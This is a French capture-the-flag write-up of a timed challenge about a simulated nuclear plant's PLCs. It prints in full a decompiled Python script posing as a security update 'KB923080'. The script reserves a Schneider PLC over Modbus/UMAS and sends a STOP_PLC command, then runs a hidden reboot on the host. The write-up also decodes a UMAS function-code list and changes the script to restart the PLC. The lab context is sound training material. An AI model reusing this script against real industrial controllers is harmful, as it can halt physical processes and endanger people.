[OT] - Sauvez la centrale nucléaire !

Présentation

Quelques mots sur l’épreuve

Il s’agit d’une épreuves de rapidité sur le thème de l’OT.

Cette épreuve sera déclenché à la surprise des participants par les organisateurs. Le but de cette épreuve est de mettre les équipes face à une situation de gestion de crise dans laquelle ils devront s’organiser et réagir rapidement. La thématique de l’épreuve est :

  • Compromission d’un automate industriel

  • Reverse d’un malware industriel

Réglement

Une fois l’annonce du démarrage d’une épreuve de rapidité faite par les organisateurs, les participants auront 1 à 2 minutes pour se connecter à la plateforme Cyber Range avant que l’épreuve ne démarre. Ils auront ainsi au maximum 15 à 20 minutes pour résoudre l’épreuve (en fonction de la limite fixée par les organisateurs selon la difficulté de l’épreuve), cette dernière prendra fin une fois le flag de l’épreuve correspondante trouvé et soumis dans le portail de points.

Score

Une des particularités des épreuves de rapidité est que les équipes perdront des points tant qu’elles n’auront pas réussi à résoudre l’épreuve en question. La perte de points s’arrêtera également si le temps maximum alloué à la résolution d’une épreuve est atteint. La première équipe parvenant à résoudre l’épreuve se verra gratifier d’un bonus de points, contrairement aux autres équipes qui devront toutefois résoudre l’épreuve rapidement pour limiter leur perte de points.

Épreuve

📜 Contexte

Une centrale nucléaire subit une cyberattaque. La France est en danger !

La cause de ce problème serait l’exécution d’un malware sur nos automates de gestion des réacteurs.

Trouvez d’où vient le problème et remettez en état de marche la centrale ☢️

1️⃣ - Le jeu

Pour commencer, nous devions nous connecter à une interface web “NukeCloud”, une plateforme de collaboration sécurisé pour les ingénieurs nucléaires.

Le site nous met à disposition un “jeu” dans lequel il est possible de déplacer les carrés bleu et rouge.

Après avoir joué quelques secondes, on se rend compte que le jeu est inutile.

On se tourne rapidement vers le code source de la page :

  • 3 scripts js

  • 1 fichier CSS

  • Le jeu est géré via le script app.js

<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
        <title>NukeCloud</title>
        <script src="NukeCloud_fichiers/jquery.js"></script>
        <script src="NukeCloud_fichiers/p5.js"></script>
        <script src="NukeCloud_fichiers/app.js"></script>
        <link rel="stylesheet" type="text/css" href="NukeCloud_fichiers/style.css">
    </head>
    <body>
        <div style="text-align:center;margin-top:20px;margin-bottom:-10px">
            <img src="NukeCloud_fichiers/logo.svg" width="150"></div>
        <h1>NukeCloud</h1>
        <div style="text-align:center;margin-top:-20px;font-size:20px">
            <label>The secured collaboration platform for nuclear engineers.</label>
        </div>
        <div style="background:#EBEBEB;padding-top:10px;padding-bottom:20px;margin-top:20px">
            <div id="container">
                <h2>Please prove you are an engineer (or a hacker...) to continue:</h2>
                <div id="view"><canvas id="defaultCanvas0" class="p5Canvas" style="width: 500px; height: 500px;" width="1000" height="1000"></canvas></div>
                <div class="footer">
                    <div class="buttons">
                        <button id="resetButton">Reset</button>
                    </div>
                </div>
            </div>
       </div>

</body></html>

On remarque dans la code de app.js, une fonction qui renvoie vers une page /home

new p5(sketch, 'view');

function win() {
   window.location = location.origin + '/home';
}

2️⃣ - L’intranet de la centrale nucléaire

Grace à l’URL /home, nous accédons à un intranet contenant les post de plusieurs utilisateurs.

Post n°1

Un administrateur informatique qui informe qu’un malware circule sur internet et qu’il est important d’appliquer une mise à jour “KB923080”.

Le fichier de mise à jour à télécharger est au format .pyc, il pèse 4Ko et contient quelques strings intéressantes :

  • une adresse ip → 192.168.95.2

  • Plusieurs chaines hexadécimal :

    • 7265626F6F74 → reboot

    • E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E → ?

    • 00 77 00 00 00 04 00 5A %02x 04 → ?

  • Des appels de fonctions vers du modbus et umas

file KB923080.pyc
KB923080.pyc: data

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ du -h KB923080.pyc
4.0K    KB923080.pyc

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ strings KB923080.pyc
192.168.95.2i
replace
send
        bytearray
fromhex)
content
socket
frame
KB923080.py
send_frame
recv)
recv_frame
7265626F6F74z
utf-8)
system
bytesr
decoder
clean
NzM02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E
00 77 00 00 00 04 00 5A %02x 04
int)
res_idr
reserve_plc_v15
__main__
00 00z
00 06Z
FF 00z
Unexpected error:)
timer
PLC_ADDRESSZ
PLC_PORTr
__name__Z
AF_INETZ
SOCK_STREAMZ
settimeoutZ
connectZ
transaction_idZ
protocol_identifier
lengthZ
unit_identifierZ
modbus_tcp_function_codeZ
reservation_idZ
umas_function_codeZ
umas_payloadr
print
close
        Exception
<module>

Il est temps de décompiler ce binaire python (nous avons utlisé uncompyle6) :

Que fait ce script ?

uncompyle6 KB923080.pyc >KB923080.py

onosh@LAPTOP-GHC8KJ24:/mnt/e/EC2/IOT$ cat KB923080.py
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, Mar 15 2022, 12:22:08)
# [GCC 9.4.0]
# Embedded file name: KB923080.py
# Compiled at: 2022-05-23 11:42:27
# Size of source mod 2**32: 1566 bytes

import os, sys, time, socket
PLC_ADDRESS = '192.168.95.2'
PLC_PORT = 502

def send_frame(content, socket):
    frame = str(content.replace(' ', ''))
    socket.send(bytearray.fromhex(frame))

def recv_frame(socket):
    content = socket.recv(1024)
    return content

def clean():
    os.system(bytes.fromhex('7265626F6F74').decode('utf-8')) # execution de la commande reboot (et oui il ne faut pas executer n'importe quoi) :')

def reserve_plc_v15(socket):
    frame = '02 E2 00 00 00 14 00 5A 00 10 73 1F 00 00 0B 57 4F 52 4B 53 54 41 54 49 4F 4E'
    send_frame(frame, socket)
    recv = recv_frame(socket)
    res_id = recv.hex()[-2:]
    frame = '00 77 00 00 00 04 00 5A %02x 04' % int(res_id, 16)
    send_frame(frame, socket)
    recv = recv_frame(socket)
    return res_id

if __name__ == '__main__':
    socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # création d'un socket
    socket.settimeout(2)
    try:
        socket.connect((PLC_ADDRESS, PLC_PORT)) # connexion au PLC Schneider sur le port MODBUS TCP
        transaction_id = '00 00' # déclaration d'un id de transaction pour la synchro entre le maitre et l'esclave
        protocol_identifier = '00 00' # correspond au protocol modbus
        length = '00 06'
        unit_identifier = '00'
        modbus_tcp_function_code = '5A' # code de fonction indiqué dans la doc
        reservation_id = reserve_plc_v15(socket)
        umas_function_code = '41' # UMAS Function Code Bx41 - STOP_PLC: Stops the PLC (cf doc Post n°3)
        umas_payload = 'FF 00'
        send_frame(transaction_id + protocol_identifier + length + unit_identifier + modbus_tcp_function_code + reservation_id + umas_function_code + umas_payload, socket) # envoie de la requête au PLC
        recv = recv_frame(socket)
        print(recv) # réception du résultat
        socket.close()
        clean()
    except Exception as e:
        try:
            print('Unexpected error:', e)
            clean() # en cas d'erreur
        finally:
            e = None
            del e
# okay decompiling KB923080.pyc

Nous avons donc un script qui :

  • Si il fonctionne

    • Arrête le PLC Schneider

  • Si il ne fonctionne pas

    • Arrête le Master (la machine qui exécute le script) :troll:

Post n°2

Le schéma du prototype d’un réacteur, sans réel intérêt 😀

Post n°3

Une documentation technique qui est devenu illisible…

Pour travailler sur cette image, nous avons transformé le texte contenu dans l’image en fichier .txt via l’outil : https://www.ocr2edit.com.

Cet outil nous a permis de récupérer le contenu suivant.

Il semble être encodé via un système simple, du ROT.

HZNF cebgbpby (Havsvrq Zrffntvat Nccyvpngvba Freivprf) vf hfrq gb pbasvther naq zbavgbe gur
Fpuarvgre-Ryrpgevp CYPf. Vg vf onfrq ba gur jryy-xabja zbqohf cebgbpby naq hfrf bar bs gur erfreirq
Shapgvba Pbgrf fcrpvsvrq va gur Zbqohf Cebgbpby Fcrpvsvpngvba (Shapgvba Pbqr 90 be OK5N va
urkngrpvzny). Jura Fpuarvqre Ryrpgevp CYPf erprvir n zbqohf cnpxrg, vg purpxf vs gur Shapgvba Pbqr vf
OK5N (shapgvba 90) naq vs fb, fbzr fcrpvsvp yvoenevrf ner hfrq, bgurejvfr, gur zbqohf erdhrfg vf gerngrq
abeznyyl, ergheavat be zbqvsivat gur ferpvsvrq ertvfgre(f) be pbvy(f) bs gur CYP. Gur sbyybjvat vf n aba-
rkunhfgvir yvfg bs vzcyrzragrq HZNF shapgvba pbarf:

HZNF Shapgvba Pbqr Ok01 - VAVG_PBZZ: Vavgvnyvmr n HZNF pbzzhavpngvba

HZNF Shapgvba Pbqr 0k02 - ERNQ_VQ: Erdhrfg n CYP VQ

HZNF Shapgvba Pbqr 0k03 - ERNQ_CEBWRPG_VASB: Ernq Cebwrpg Vasbezngvba

HZNF Shapgvba Pbqr 0k04 - ERNG_CYP_VASB: Trg vagreany CYP Vasb

HZNF Shapgvba Pbqr 0k06 - ERNQG_PNEQ_VASB: Trg vagreany CYP FQ-Pneq Vasb

HZNF Shapgvba Pbqr OKON - ERCRNG: Fraqf onpx qngn frag gb gur CYP (hfrq sbe flapuebavmngvba)
HZNF Shapgvba Pbqr 0K10 - GNXR_CYP_ERFREINGVBA: Nffvta na "bjare" gb gur CYP

HZNF Shapgvba Pbgqr 0k11 - ERYRNFR_CYP_ERFREINGVBA: Eryrnfr gur erfreingvba bs n CYP

HZNF Shapgvba Pbqr OKk12 - XRRC_NYVIR: Xrre nyvir zrffntr

HZNF Shapgvba Pbqr 0k20 - ERNQ_ZRZBEL_OYBPX: Ernq n zrzbel oybpx bs gur CYP

HZNF Shapgvba Pbqr 0k22 - ERNQ_INEVNOYRF: Ernq Flfgrz ovgf, Flfgrz Jbeqf naq Fgengril inevnoyrf
HZNF Shapgvba Pbqr 0k23 - JEVGR_INEVNOYRF: Jevgr Flfgrz ovgf, Flfgrz Jbeqf naq Fgengrtl inevnoyrf
HZNF Shapgvba Pbqr 0k24 - ERNQ_PBVYF_ERTVFGREF: Ernq pbvyf naq ubyqvat ertvfgref sebz CYP
HZNF Shapgvba Pbqr 0k25 - JEVGR_PBVYF_ERTVFGREF: Jevgr pbvyf naq ubyqvat ertvfgref vagb CYP
HZNF Shapgvba Pbqr 0k30 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengritl hcybnq (pbcl sebz ratvarrevat
CP gb CYP)

HZNF Shapgvba Pbqr 0k31 - HCYBNG_OYBPX: Hcybnq (pbcl sebz ratvarrevat CP gb CYP) n fgengrtl oybpx
gb gur CYP

HZNF Shapgvba Pbqr 0k32 - RAQG_FGENGRTL_HCYBNQ: Svavfu fgengritl Hcybnq (pbel sebz ratvarrevat CP
gb CYP)

HZNF Shapgvba Pbqr 0k33 - VAVGVNYVMR_HCYBNQ: Vavgvnyvmr Fgengril qbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)

HZNF Shapgvba Pbqr 0k34 - GBJAYBNG_OYBPX: Qbjaybnq (pbcl sebz CYP gb ratvarrevat CP) n fgengrtl
oybpx

HZNF Shapgvba Pbqr 0k35 - RAQG_FGENGRTL_QBJAYBNQ: Svavfu fgengrtl Gbjaybnq (pbcl sebz CYP gb
ratvarrevat CP)

HZNF Shapgvba Pbqr 0k39 - ERNQG_RGU_ZNFGRE_QNGN: Erngq Rgurearg Znfgre Qngn

HZNF Shapgvba Pbqr 0k40 - FGNEG_CYP: Fgnegf gur CYP

HZNF Shapgvba Pbqr Ok41 - FGBC_CYP: Fgbcf gur CYP

HZNF Shapgvba Pbqr 0K50 - ZBAVGBE_CYP: Zbavgbef inevnoyrf, Flfgrzf ovgf naq jbegf

HZNF Shapgvba Pbqr 0K58 - PURPX_CYP: Purpx CYP Pbaarpgvba fgnghf

HZNF Shapgvba Pbqr 0K70 - ERNQG_VB_BOWRPG: Ernq VB Bowrpg

HZNF Shapgvba Pbqr 0K71 - JEVGR_VB_BOWRPG: JevgrVB Bowrpg

HZNF Shapgvba Pbqr 0K73 - TRG_FGNGHF_ZBQHYR: Trg Fgnghf Zbqhyr

Il s’agissait en effet de ROT13, puisqu’après décodage on retrouve la documentation originale.

tr 'A-Za-z' 'N-ZA-Mn-za-m' < doc.txt

UMAS protocol (Unified Messaging Application Services) is used to configure and monitor the
Schneiter-Electric PLCs. It is based on the well-known modbus protocol and uses one of the reserved
Function Cotes specified in the Modbus Protocol Specification (Function Code 90 or BX5A in
hexatecimal). When Schneider Electric PLCs receive a modbus packet, it checks if the Function Code is
BX5A (function 90) and if so, some specific libraries are used, otherwise, the modbus request is treated
normally, returning or modifving the srecified register(s) or coil(s) of the PLC. The following is a non-
exhaustive list of implemented UMAS function cones:

UMAS Function Code Bx01 - INIT_COMM: Initialize a UMAS communication

UMAS Function Code 0x02 - READ_ID: Request a PLC ID

UMAS Function Code 0x03 - READ_PROJECT_INFO: Read Project Information

UMAS Function Code 0x04 - REAT_PLC_INFO: Get internal PLC Info

UMAS Function Code 0x06 - READT_CARD_INFO: Get internal PLC SD-Card Info

UMAS Function Code BXBA - REPEAT: Sends back data sent to the PLC (used for synchronization)
UMAS Function Code 0X10 - TAKE_PLC_RESERVATION: Assign an "owner" to the PLC

UMAS Function Cotde 0x11 - RELEASE_PLC_RESERVATION: Release the reservation of a PLC

UMAS Function Code BXx12 - KEEP_ALIVE: Keer alive message

UMAS Function Code 0x20 - READ_MEMORY_BLOCK: Read a memory block of the PLC

UMAS Function Code 0x22 - READ_VARIABLES: Read System bits, System Words and Stratevy variables
UMAS Function Code 0x23 - WRITE_VARIABLES: Write System bits, System Words and Strategy variables
UMAS Function Code 0x24 - READ_COILS_REGISTERS: Read coils and holding registers from PLC
UMAS Function Code 0x25 - WRITE_COILS_REGISTERS: Write coils and holding registers into PLC
UMAS Function Code 0x30 - INITIALIZE_UPLOAD: Initialize Stratevgy upload (copy from engineering
PC to PLC)

UMAS Function Code 0x31 - UPLOAT_BLOCK: Upload (copy from engineering PC to PLC) a strategy block
to the PLC

UMAS Function Code 0x32 - ENDT_STRATEGY_UPLOAD: Finish stratevgy Upload (cory from engineering PC
to PLC)

UMAS Function Code 0x33 - INITIALIZE_UPLOAD: Initialize Stratevy download (copy from PLC to
engineering PC)

UMAS Function Code 0x34 - TOWNLOAT_BLOCK: Download (copy from PLC to engineering PC) a strategy
block

UMAS Function Code 0x35 - ENDT_STRATEGY_DOWNLOAD: Finish strategy Townload (copy from PLC to
engineering PC)

UMAS Function Code 0x39 - READT_ETH_MASTER_DATA: Reatd Ethernet Master Data

UMAS Function Code 0x40 - START_PLC: Starts the PLC

UMAS Function Code Bx41 - STOP_PLC: Stops the PLC

UMAS Function Code 0X50 - MONITOR_PLC: Monitors variables, Systems bits and worts

UMAS Function Code 0X58 - CHECK_PLC: Check PLC Connection status

UMAS Function Code 0X70 - READT_IO_OBJECT: Read IO Object

UMAS Function Code 0X71 - WRITE_IO_OBJECT: WriteIO Object

UMAS Function Code 0X73 - GET_STATUS_MODULE: Get Status Module

Dans cette documentation, nous retrouvons une vingtaine de code de fonction UMAS.

Mais qu’est ce que UMAS ?

Le protocole UMAS (Unified Messaging Application Services) est utilisé pour configurer et surveiller les Automates Schneiter-Electric.

Il est basé sur le protocole modbus.

Lorsque les automates Schneider Electric reçoivent un paquet modbus, ils vérifient si le code de fonction est BX5A (fonction 90) et si oui, certaines bibliothèques spécifiques sont utilisées, sinon, la requête modbus est traitée normalement, en retournant ou en modifiant le(s) registre(s) ou bobine(s) spécifié(s) de l'automate.

Post n°4

Un message d’un employé de la centrale à ses collègues disant qu’il a eu des problèmes avec un outil qui demande en prérequis une ancienne version de python. Docker semble corriger le problème…

3️⃣ - Sauver la centrale nucléaire

L’objectif est maintenant de sauver la centrale en exécutant le script mais cette fois ci en démarrant la centrale et sans éteindre notre propre machine.

Nous avons donc commenté la fonction clean pour protéger notre Master des Exceptions.

def clean():
    # os.system(bytes.fromhex('7265626F6F74').decode('utf-8'))
		pass

Puis nous avons cherché dans la documentation le code de fonction pour démarrer le PLC :

UMAS Function Code 0x40 - START_PLC: Starts the PLC

Il suffisait alors de remplacer “41” par “40”

umas_function_code = '40'

Après avoir executé le script sur le PLC Schneider, on récupère le flag :

FLAG{251AE793494B6347E00E94265A0586D3}

Dernière mise à jour